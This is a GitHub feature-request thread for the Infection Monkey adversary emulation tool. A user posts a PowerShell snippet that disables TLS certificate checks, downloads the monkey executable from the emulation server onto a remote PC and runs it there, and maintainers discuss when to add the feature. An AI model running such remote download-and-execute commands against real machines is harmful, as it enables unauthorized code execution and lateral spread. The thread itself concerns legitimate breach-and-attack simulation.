guardicore / monkey

Infection Monkey - An open-source adversary emulation platform
https://www.guardicore.com/infectionmonkey/
GNU General Public License v3.0
6.64k stars 777 forks source link

'Run Monkey' on remote PCs Powershell UI #505

Open grownuphacker opened 4 years ago

grownuphacker commented 4 years ago

Is your feature request related to a problem? Please describe. I was trying to run the monkey remotely using the given script-code.

Describe the solution you'd like To be able to copy-paste and run the monkey on a remote PC (I like to abuse the systems that have AV disabled for some special snowflake reason)

Describe alternatives you've considered Umm... I made it work, so I'm sharing

Be kind, I'm new to this...

However I'm not useless with a powershell window. The 'Run Monkey' presents a nice little powershell tool, that as written, won't easily work on remote PCs.

In saying that - if you want to run remotely - here is a snippet for Windows 64 that works:

Working remote execution of powershell

Invoke-Command -ComputerName PCABC001 -ScriptBlock {`
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; 
(New-Object System.Net.WebClient).DownloadFile('https://SERVERDETAILS:5000/api/monkey/download/monkey-windows-64.exe',"${env:TEMP}\monkey.exe")
Start-Process -FilePath "${env:temp}\monkey.exe" -ArgumentList 'm0nk3y -s SERVERDETAILS:5000';`
}
ShayNehmad commented 4 years ago

This seems cool and somewhat related to #489 which we want to do as well. Thanks for sharing!

@danielguardicore WDYT? 1.8.1?

VakarisZ commented 4 years ago

If we done this after #510 we could remove "choose the IP interface" prompt

VakarisZ commented 3 years ago

Should be done after "Scenarios", when run interface is flushed out

mssalvatore commented 3 years ago

What about adding it as an enhancement to https://github.com/guardicore/monkey/pull/838?